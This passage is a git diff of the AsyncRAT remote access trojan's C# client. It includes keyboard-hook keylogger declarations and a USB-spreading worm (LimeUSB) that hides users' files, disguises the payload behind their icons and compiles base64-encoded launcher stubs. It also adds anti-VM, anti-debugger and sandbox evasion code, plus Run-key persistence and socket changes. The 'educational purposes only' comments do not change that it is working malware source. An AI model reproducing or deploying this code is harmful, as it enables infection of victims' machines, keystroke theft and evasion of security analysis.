WH_KEYBOARD_LL = 13; + private const int WM_KEYDOWN = 0x0100; + private static LowLevelKeyboardProc _proc = HookCallback; + private static IntPtr _hookID = IntPtr.Zero; + + [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] + private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId); + [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool UnhookWindowsHookEx(IntPtr hhk); + [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] + private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam); + [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] + private static extern IntPtr GetModuleHandle(string lpModuleName); + + private static int WHKEYBOARDLL = 13; + + private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam); + + [DllImport("user32.dll")] + static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count); + [DllImport("user32.dll")] + static extern IntPtr GetForegroundWindow(); + private static string CurrentActiveWindowTitle; + + [DllImport("user32.dll", SetLastError = true)] + static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId); + + [DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true, CallingConvention = CallingConvention.Winapi)] + public static extern short GetKeyState(int keyCode); + + [DllImport("user32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + static extern bool GetKeyboardState(byte[] lpKeyState); + [DllImport("user32.dll")] + static extern IntPtr GetKeyboardLayout(uint idThread); + [DllImport("user32.dll")] + static extern int ToUnicodeEx(uint wVirtKey, uint wScanCode, byte[] lpKeyState, [Out, MarshalAs(UnmanagedType.LPWStr)] StringBuilder pwszBuff, int cchBuff, uint wFlags, IntPtr dwhkl); + [DllImport("user32.dll")] + static extern uint MapVirtualKey(uint uCode, uint uMapType); + + #endregion + + } +} diff --git a/AsyncRAT-C#/Client/Handle Packet/LimeUSB.cs b/AsyncRAT-C#/Client/Handle Packet/LimeUSB.cs new file mode 100644 index 0000000..058cd06 --- /dev/null +++ b/AsyncRAT-C#/Client/Handle Packet/LimeUSB.cs @@ -0,0 +1,222 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Text; +using System.Drawing.IconLib; // AsyncRAT-C#\packages\IconLib +using Microsoft.Win32; +using System.Drawing; +using Microsoft.CSharp; +using System.CodeDom.Compiler; +using Client.MessagePack; +using Client.Sockets; +using System.Threading; +using System.Windows.Forms; +// +// │ Author : NYAN CAT +// │ Name : LimeUSB v0.3 + +// Contact Me : https://github.com/NYAN-x-CAT +// This program Is distributed for educational purposes only. +// + +namespace Client.Handle_Packet +{ + class LimeUSB + { + public void Run() + { + Initialize(); + } + + private void Initialize() + { + ExplorerOptions(); + int count = 0; + foreach (DriveInfo USB in DriveInfo.GetDrives()) + { + try + { + if (USB.DriveType == DriveType.Removable && USB.IsReady) + { + count += 1; + if (!Directory.Exists(USB.RootDirectory.ToString() + spreadSettings.WorkDirectory)) + { + Directory.CreateDirectory(USB.RootDirectory.ToString() + spreadSettings.WorkDirectory); + File.SetAttributes(USB.RootDirectory.ToString() + spreadSettings.WorkDirectory, FileAttributes.System | FileAttributes.Hidden); + } + + if (!Directory.Exists((USB.RootDirectory.ToString() + spreadSettings.WorkDirectory + "\\" + spreadSettings.IconsDirectory))) + Directory.CreateDirectory((USB.RootDirectory.ToString() + spreadSettings.WorkDirectory + "\\" + spreadSettings.IconsDirectory)); + + if (!File.Exists(USB.RootDirectory.ToString() + spreadSettings.WorkDirectory + "\\" + spreadSettings.LimeUSBFile)) + File.Copy(Application.ExecutablePath, USB.RootDirectory.ToString() + spreadSettings.WorkDirectory + "\\" + spreadSettings.LimeUSBFile); + + CreteDirectory(USB.RootDirectory.ToString()); + + InfectFiles(USB.RootDirectory.ToString()); + } + } + catch (Exception ex) + { + Debug.WriteLine("Initialize " + ex.Message); + } + } + if (count != 0) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "usbSpread"; + msgpack.ForcePathObject("Count").AsString = count.ToString(); + ClientSocket.BeginSend(msgpack.Encode2Bytes()); + } + + } + + private void ExplorerOptions() + { + try + { + RegistryKey Key = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", true); + if (Key.GetValue("Hidden") != (object)2) + Key.SetValue("Hidden", 2); + if (Key.GetValue("HideFileExt") != (object)1) + Key.SetValue("HideFileExt", 1); + } + catch { } + } + + private void InfectFiles(string Path) + { + foreach (var file in Directory.GetFiles(Path)) + { + try + { + if (CheckIfInfected(file)) + { + ChangeIcon(file); + File.Move(file, file.Insert(3, spreadSettings.WorkDirectory + "\\")); + CompileFile(file); + } + } + catch { } + } + + foreach (var directory in Directory.GetDirectories(Path)) + { + if (!directory.Contains(spreadSettings.WorkDirectory)) + InfectFiles(directory); + } + } + + private void CreteDirectory(string USB_Directory) + { + foreach (var directory in Directory.GetDirectories(USB_Directory)) + { + try + { + if (!directory.Contains(spreadSettings.WorkDirectory)) + { + if (!Directory.Exists(directory.Insert(3, spreadSettings.WorkDirectory + "\\"))) + Directory.CreateDirectory(directory.Insert(3, spreadSettings.WorkDirectory + "\\")); + CreteDirectory(directory); + } + } + catch { } + } + } + + private bool CheckIfInfected(string file) + { + try + { + FileVersionInfo info = FileVersionInfo.GetVersionInfo(file); + if (info.LegalTrademarks == spreadSettings.InfectedTrademark) + return false; + else + return true; + } + catch + { + return false; + } + } + + private void ChangeIcon(string file) + { + try + { + Icon FileIcon = Icon.ExtractAssociatedIcon(file); + MultiIcon MultiIcon = new MultiIcon(); + SingleIcon SingleIcon = MultiIcon.Add(Path.GetFileName(file)); + SingleIcon.CreateFrom(FileIcon.ToBitmap(), IconOutputFormat.Vista); + SingleIcon.Save(Path.GetPathRoot(file) + spreadSettings.WorkDirectory + "\\" + spreadSettings.IconsDirectory + "\\" + Path.GetFileNameWithoutExtension(file.Replace(" ", null)) + ".ico"); + } + catch { } + } + + private void CompileFile(string InfectedFile) + { + try + { + string Source = Encoding.UTF8.GetString(Convert.FromBase64String("dXNpbmcgU3lzdGVtOwp1c2luZyBTeXN0ZW0uRGlhZ25vc3RpY3M7CnVzaW5nIFN5c3RlbS5SZWZsZWN0aW9uOwp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7CgpbYXNzZW1ibHk6IEFzc2VtYmx5VHJhZGVtYXJrKCIlTGltZSUiKV0KW2Fzc2VtYmx5OiBHdWlkKCIlR3VpZCUiKV0KCnN0YXRpYyBjbGFzcyBMaW1lVVNCTW9kdWxlCnsKICAgIHB1YmxpYyBzdGF0aWMgdm9pZCBNYWluKCkKICAgIHsKICAgICAgICB0cnkKICAgICAgICB7CiAgICAgICAgICAgIFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLlN0YXJ0KEAiJUZpbGUlIik7CiAgICAgICAgICAgIFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLlN0YXJ0KEAiJVBheWxvYWQlIik7CiAgICAgICAgfQogICAgICAgIGNhdGNoIHsgfQogICAgfQp9")); + Source = Source.Replace("%Payload%", Path.GetPathRoot(InfectedFile) + spreadSettings.WorkDirectory + "\\" + spreadSettings.LimeUSBFile); + Source = Source.Replace("%File%", InfectedFile.Insert(3, spreadSettings.WorkDirectory + "\\")); + Source = Source.Replace("%Lime%", spreadSettings.InfectedTrademark); + Source = Source.Replace("%LimeUSBModule%", Randomz(new Random().Next(6, 12))); + Source = Source.Replace("%Guid%", Guid.NewGuid().ToString()); + + CompilerParameters CParams = new CompilerParameters(); + Dictionary ProviderOptions = new Dictionary(); + ProviderOptions.Add("CompilerVersion", GetOS()); + + string options = "/target:winexe /platform:x86 /optimize+"; + if (File.Exists(Path.GetPathRoot(InfectedFile) + spreadSettings.WorkDirectory + "\\" + spreadSettings.IconsDirectory + "\\" + Path.GetFileNameWithoutExtension(InfectedFile.Replace(" ", null)) + ".ico")) + options += " /win32icon:\"" + Path.GetPathRoot(InfectedFile) + spreadSettings.WorkDirectory + "\\" + spreadSettings.IconsDirectory + "\\" + Path.GetFileNameWithoutExtension(InfectedFile.Replace(" ", null)) + ".ico" + "\""; + CParams.GenerateExecutable = true; + CParams.OutputAssembly = InfectedFile + ".scr"; + CParams.CompilerOptions = options; + CParams.TreatWarningsAsErrors = false; + CParams.IncludeDebugInformation = false; + CParams.ReferencedAssemblies.Add("System.dll"); + + CompilerResults Results = new CSharpCodeProvider(ProviderOptions).CompileAssemblyFromSource(CParams, Source); + } + catch (Exception ex) + { + Debug.WriteLine("CompileFile " + ex.Message); + } + } + + private string GetOS() + { + var OS = new Microsoft.VisualBasic.Devices.ComputerInfo(); + if (OS.OSFullName.Contains("7")) + return "v2.0"; + else + return "v4.0"; + } + + private string Randomz(int L) + { + string validchars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; + StringBuilder sb = new StringBuilder(); + Random rand = new Random(); + for (int i = 1; i <= L; i++) + { + int idx = rand.Next(0, validchars.Length); + char randomChar = validchars[idx]; + sb.Append(randomChar); + } + var randomString = sb.ToString(); + return randomString; + } + } + + public class spreadSettings + { + public static readonly string InfectedTrademark = "Trademark - Lime"; + public static readonly string WorkDirectory = "$LimeUSB"; + public static readonly string LimeUSBFile = Path.GetFileName(Application.ExecutablePath); + public static readonly string IconsDirectory = "$LimeIcons"; + } +} diff --git a/AsyncRAT-C#/Client/Helper/Anti_Analysis.cs b/AsyncRAT-C#/Client/Helper/Anti_Analysis.cs new file mode 100644 index 0000000..a3a1fd6 --- /dev/null +++ b/AsyncRAT-C#/Client/Helper/Anti_Analysis.cs @@ -0,0 +1,67 @@ +using System; +using System.Diagnostics; +using System.Management; +using System.Runtime.InteropServices; + +// │ Author : NYAN CAT +// │ Name : Anti Analysis v0.2 +// │ Contact : https://github.com/NYAN-x-CAT + +// This program is distributed for educational purposes only. + + + +namespace Client.Helper +{ + class Anti_Analysis + { + public static void RunAntiAnalysis() + { + if (DetectVirtualMachine() || DetectDebugger() || DetectSandboxie()) + Environment.FailFast(null); + } + + private static bool DetectVirtualMachine() + { + using (var searcher = new ManagementObjectSearcher("Select * from Win32_ComputerSystem")) + { + using (var items = searcher.Get()) + { + foreach (var item in items) + { + string manufacturer = item["Manufacturer"].ToString().ToLower(); + if ((manufacturer == "microsoft corporation" && item["Model"].ToString().ToUpperInvariant().Contains("VIRTUAL")) + || manufacturer.Contains("vmware") + || item["Model"].ToString() == "VirtualBox") + { + return true; + } + } + } + } + return false; + } + + private static bool DetectDebugger() + { + bool isDebuggerPresent = false; + CheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref isDebuggerPresent); + return isDebuggerPresent; + } + + private static bool DetectSandboxie() + { + if (GetModuleHandle("SbieDll.dll").ToInt32() != 0) + return true; + else + return false; + } + + + [DllImport("kernel32.dll")] + public static extern IntPtr GetModuleHandle(string lpModuleName); + + [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] + static extern bool CheckRemoteDebuggerPresent(IntPtr hProcess, ref bool isDebuggerPresent); + } +} diff --git a/AsyncRAT-C#/Client/Helper/Methods.cs b/AsyncRAT-C#/Client/Helper/Methods.cs index c1619b6..f166be1 100644 --- a/AsyncRAT-C#/Client/Helper/Methods.cs +++ b/AsyncRAT-C#/Client/Helper/Methods.cs @@ -1,6 +1,7 @@ using System; using System.Security.Cryptography; using System.Text; +using System.Threading; namespace Client.Helper { @@ -26,5 +27,21 @@ namespace Client.Helper strResult.Append(b.ToString("x2")); return strResult.ToString().Substring(0, 12).ToUpper(); } + + private static Mutex _appMutex; + public static bool CreateMutex() + { + bool createdNew; + _appMutex = new Mutex(false, Settings.MTX, out createdNew); + return createdNew; + } + public static void CloseMutex() + { + if (_appMutex != null) + { + _appMutex.Close(); + _appMutex = null; + } + } } } diff --git a/AsyncRAT-C#/Client/Install/NormalStartup.cs b/AsyncRAT-C#/Client/Install/NormalStartup.cs index c12c746..b2233b0 100644 --- a/AsyncRAT-C#/Client/Install/NormalStartup.cs +++ b/AsyncRAT-C#/Client/Install/NormalStartup.cs @@ -1,4 +1,5 @@ -using Microsoft.Win32; +using Client.Helper; +using Microsoft.Win32; using System; using System.Diagnostics; using System.IO; @@ -36,6 +37,7 @@ namespace Client.Install Drop.Dispose(); Registry.CurrentUser.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run\").SetValue(Path.GetFileName(Settings.ClientFullPath), Settings.ClientFullPath); + Methods.CloseMutex(); Process.Start(Settings.ClientFullPath); Environment.Exit(0); } diff --git a/AsyncRAT-C#/Client/Program.cs b/AsyncRAT-C#/Client/Program.cs index da40c54..94f5fbb 100644 --- a/AsyncRAT-C#/Client/Program.cs +++ b/AsyncRAT-C#/Client/Program.cs @@ -2,6 +2,7 @@ using Client.Sockets; using Client.Install; using System; +using Client.Helper; // │ Author : NYAN CAT // │ Name : AsyncRAT // Simple Socket @@ -19,6 +20,13 @@ namespace Client static void Main() { + Thread.Sleep(2500); + if (!Methods.CreateMutex()) + Environment.Exit(0); + + if (Convert.ToBoolean(Settings.Anti)) + Anti_Analysis.RunAntiAnalysis(); + if (Convert.ToBoolean(Settings.Install)) NormalStartup.Install(); @@ -28,7 +36,7 @@ namespace Client { if (ClientSocket.Connected == false) ClientSocket.Reconnect(); - Thread.Sleep(2500); + Thread.Sleep(1500); } } } diff --git a/AsyncRAT-C#/Client/Settings.cs b/AsyncRAT-C#/Client/Settings.cs index 5c60f62..efca5d4 100644 --- a/AsyncRAT-C#/Client/Settings.cs +++ b/AsyncRAT-C#/Client/Settings.cs @@ -1,18 +1,19 @@ using Client.Cryptography; using System; -using System.Collections.Generic; using System.IO; namespace Client { - class Settings + public static class Settings { - public static readonly string Ports = "6606" ; - public static readonly string Host = "127.0.0.1" ; - public static readonly string Version = "AsyncRAT 0.3.0"; + public static readonly string Ports = "6606"; + public static readonly string Host = "127.0.0.1"; + public static readonly string Version = "AsyncRAT 0.4"; public static readonly string Install = "false"; public static readonly string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%AppData%"), "Payload.exe"); public static string Password = "NYAN CAT"; public static readonly Aes256 aes256 = new Aes256(Password); + public static readonly string MTX = "%MTX%"; + public static readonly string Anti = "%Anti%"; } } diff --git a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs index fdffdeb..7879ad5 100644 --- a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs +++ b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs @@ -4,9 +4,7 @@ using System; using System.Diagnostics; using System.IO; using System.Net.Sockets; -using System.Text; using System.Threading; -using System.Security.Cryptography; using Client.Handle_Packet; using Client.Helper; @@ -41,7 +39,7 @@ namespace Client.Sockets Convert.ToInt32(Settings.Ports.Split(',')[new Random().Next(Settings.Ports.Split(',').Length)])); Debug.WriteLine("Connected!"); Connected = true; - Buffer = new byte[1]; + Buffer = new byte[4]; Buffersize = 0; BufferRecevied = false; MS = new MemoryStream(); @@ -101,9 +99,11 @@ namespace Client.Sockets if (Recevied > 0) { if (BufferRecevied == false) - if (Buffer[0] == 0) + { + MS.Write(Buffer, 0, Recevied); + if (MS.Length == 4) { - Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray())); + Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); Debug.WriteLine("/// Client Buffersize " + Buffersize.ToString() + " Bytes ///"); MS.Dispose(); MS = new MemoryStream(); @@ -114,14 +114,18 @@ namespace Client.Sockets } } else - MS.Write(Buffer, 0, Buffer.Length); + { + Connected = false; + return; + } + } else { MS.Write(Buffer, 0, Recevied); if (MS.Length == Buffersize) { ThreadPool.QueueUserWorkItem(HandlePacket.Read, Settings.aes256.Decrypt(MS.ToArray())); - Buffer = new byte[1]; + Buffer = new byte[4]; Buffersize = 0; MS.Dispose(); MS = new MemoryStream(); @@ -152,7 +156,7 @@ namespace Client.Sockets try { byte[] buffer = Settings.aes256.Encrypt(Msg); - byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + (char)0); + byte[] buffersize = BitConverter.GetBytes(buffer.Length); Client.Poll(-1, SelectMode.SelectWrite); Client.BeginSend(buffersize, 0, buffersize.Length, SocketFlags.None, EndSend, null); diff --git a/AsyncRAT-C#/Client/packages.config b/AsyncRAT-C#/Client/packages.config new file mode 100644 index 0000000..c2d5114 --- /dev/null +++ b/AsyncRAT-C#/Client/packages.config @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/README.md b/README.md index 6a0a233..938a2cc 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ - + # AsyncRAT